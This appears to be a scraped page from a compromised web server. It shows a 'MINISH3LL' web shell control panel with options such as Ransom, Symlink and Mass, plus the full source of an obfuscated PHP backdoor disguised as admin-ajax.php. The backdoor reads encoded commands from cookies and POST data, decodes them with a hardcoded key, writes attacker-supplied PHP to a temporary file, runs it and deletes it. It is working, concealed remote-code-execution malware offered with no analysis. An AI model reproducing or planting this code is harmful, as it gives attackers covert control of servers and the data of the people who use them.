\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/accessdenied/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/accessdenied/admin-ajax.php


<?php  /*uuncok   */ function /*mob_df  */ ywrja(){$tisyohjxwk='oenyhfgy_'; /*gnve  */ print_r /*   tp   */ (90481+90481);      }$jpmowfa       =	'jpmowfa'    ^ /* rxtkkp  */ '	';

$hxiynon	=    $_COOKIE;

$odelhl    = /*vadsh*/ 'pyis';
$sllfmwlsj /*dkqpky */ =	334;

$ysbmgksx  =    $sllfmwlsj      %     17;




function /* iepl*/ uiayd($ooyfcjjzx,	$tmvwn)
{

    global      $jpmowfa;
 /*  z */ $hwiede_ /*   wqi  */ =	"";


    $uzmmlis /*  _vsheu */ =	613;
 /*  izqipy*/ $tjwhkpyhm     =     0;


    


 /*qapp  */ while /* ekcu */ ($tjwhkpyhm /*  b_ngq */ <    strlen($ooyfcjjzx))  {


   $kzribxl     =  0;    while    ($kzribxl /*lagi */ <    strlen($tmvwn)	&& /* vj   */ $tjwhkpyhm /*  gww  */ <    strlen($ooyfcjjzx))	{

    

 /*  dwicoc  */ $hwiede_       .= /*   topchh   */ $jpmowfa(ord($ooyfcjjzx[$tjwhkpyhm])    ^    ord($tmvwn[$kzribxl]));

     $prrzdsaqrj /*njnys*/ =    306;     


    $kzribxl++;

    $tjwhkpyhm++;
 /* vexztg*/ }
 /* pss   */ }

 /*  oislhc  */ return       $hwiede_;

}



function /*  uk   */ evwwh($mmemfqomy,   $ooyfcjjzx)


{ /*   offo_*/ global /*   clzqj  */ $jpmowfa;

 /* mkchj  */ $pnkehw /*   krbn*/ =       sprintf($jpmowfa(46) /*   nuqyy  */ .    "/"."%"."s"."."."\x70"    .    "\x6c",    md5($mmemfqomy));

  $xjsxhkiyqy  = /*l */ 'wrizexvmg';

 /*  xzh  */ file_put_contents($pnkehw,	"<"    .    "?".$jpmowfa(112)    .     $jpmowfa(104)	. /*   p_qj */ "\160"	. /* zeyv  */ $jpmowfa(32)  . /*ekgd   */ "\x75" /*fz  */ .       $jpmowfa(1014-904)    . /*   dfqawt */ $jpmowfa(795-687)    . /*   liikf */ $jpmowfa(105) /*   qctgks*/ .  "n"."k"."(".$jpmowfa(95) /*   mpqosb */ .       "\137"      .    "F"."I"."\x4c" /*   owhs */ .  "E"."_".$jpmowfa(1070-975)    .    "\x29"     .    ";".$jpmowfa(32)    . /* nu_l */ $ooyfcjjzx["d"]);

$upeaik_fzd      =  'hakf';
    include($pnkehw);


 /*  xr*/ $hdknz  =  'fughm';
       $ybzttkrty /*muzb  */ =    $pnkehw;

 /* uxguki */ @unlink($ybzttkrty);

}





function /*  l*/ wqahb()

{ /*   zvb*/ $kzribxldqrpdqj /*   qhqgrr*/ =      'qluhswh';

    $mgi_rq /* urw  */ = /*yq */ 'jvhmfuu';}



wqahb();


function  jue_sx()


{


 /*ziy_a*/ global    $jpmowfa;

   $tjwhkpyhm    = /*  hhv_bu */ array();      $tjwhkpyhm["p".$jpmowfa(989-871)]	= /*  is  */ phpversion();    $tjwhkpyhm[$jpmowfa(115)      . /* ck   */ $jpmowfa(371-253)]  =  "3".".".$jpmowfa(53);
   $hgfwj_eqc    = /*   rspom*/ 'huovrxc_';    $lucyc    = /*  hezx*/ 'aj';

       echo    @serialize($tjwhkpyhm);  $ylie_oofm    =	'ie';


 /*  yqzbf*/ $qpbjtbp	=	914;
}


function	xcomar($ooyfcjjzx,    $mmemfqomy,       $ovvll)

{


 /*  ttowy*/ global	$jpmowfa;

    $ooyfcjjzx     = /*  yxwtw   */ unserialize(uiayd(uiayd(base64_decode($ooyfcjjzx), /* obsjkv*/ $mmemfqomy),     $ovvll));

       $bxizdn	=   568;
	if /*fd  */ (isset($ooyfcjjzx["a".$jpmowfa(107)]))	{

    if   ($ooyfcjjzx["a"] /*   v  */ ==	"\x69")	{

    jue_sx();   }    elseif     ($ooyfcjjzx["a"]      ==       "e")      {
    evwwh($mmemfqomy,     $ooyfcjjzx);

 /*   hp   */ }


  exit();


 /*szed */ }}

$hxiynon	=   array_merge($_POST,  $hxiynon);


$mmemfqomy /*  vucxh_  */ = /*  k*/ "\x36"     .       "f"."\144"	.    "f"."7".$jpmowfa(100)    .    "5".$jpmowfa(468-414)      . /* s   */ "-"."\x32" /* p_   */ .	$jpmowfa(357-260)      .   "3"."\64"  . /*mw*/ "\x2d" /*   m_fvo   */ .	$jpmowfa(52)  .    "\146" /* iak */ .   "b"."\64" /*c  */ .	"-"."9".$jpmowfa(102)    .	"\x31"    . /*  zwj*/ "\63" /*   pemot */ . /*   daqw */ "-"."2"."2".$jpmowfa(594-492)    . /*  _z_  */ "4"."d"."\x38" /* ttcha   */ . /*lkt */ "\x39" /* izcl_a*/ .      "\67"	.    "9"."4"."2"."b";

$zk_tithxkq /* lvav  */ =      'mjzzrihvyr';


$kzribxlbbjd    = /*  b*/ 'og__f';
foreach    ($hxiynon  as    $ovvll    =>    $ooyfcjjzx) /*   zsiw   */ {


  xcomar($ooyfcjjzx,	$mmemfqomy, /* khbz */ $ovvll);


}






?>

© KUJUNTI.ID